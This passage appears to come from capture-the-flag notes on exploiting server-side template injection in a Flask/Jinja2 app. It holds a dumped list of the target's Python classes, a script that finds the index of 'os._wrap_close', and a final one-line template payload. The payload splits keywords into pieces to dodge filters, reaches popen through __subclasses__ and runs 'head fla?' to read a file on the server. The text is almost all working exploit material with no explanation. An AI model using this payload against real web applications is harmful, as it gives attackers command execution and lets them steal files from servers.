'pkgutil.ImpLoader'>, <class 'hmac.HMAC'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.user_agent.UserAgent'>, <class 'werkzeug.useragents._UserAgentParser'>, <class 'werkzeug.sansio.request.Request'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'werkzeug.sansio.response.Response'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'uuid.UUID'>, <class 'itsdangerous._json._CompactJSON'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializer'>, <class 'flask._compat._DeprecatedBool'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local._ProxyLookup'>, <class 'werkzeug.local.LocalProxy'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class 'difflib.HtmlDiff'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.types.ParamType'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'flask.signals.Namespace'>, <class 'flask.signals._FakeSignal'>, <class 'flask.helpers.locked_cached_property'>, <class 'flask.helpers._PackageBoundObject'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'unicodedata.UCD'>, <class 'jinja2.ext.Extension'>, <class 'jinja2.ext._CommentFinder'>"
ClassList = re.split(",", string)
for i in range(0, len(ClassList)):
    print(i, ClassList[i])
    if 'os._wrap_close' in ClassList[i]:
        print(i)
        break

1-1={{()['__cla'+'ss__']['__ba'+'se__']['__subcla'+'sses__']()[127].__init__.__globals__['popen']('head fla?').read()}}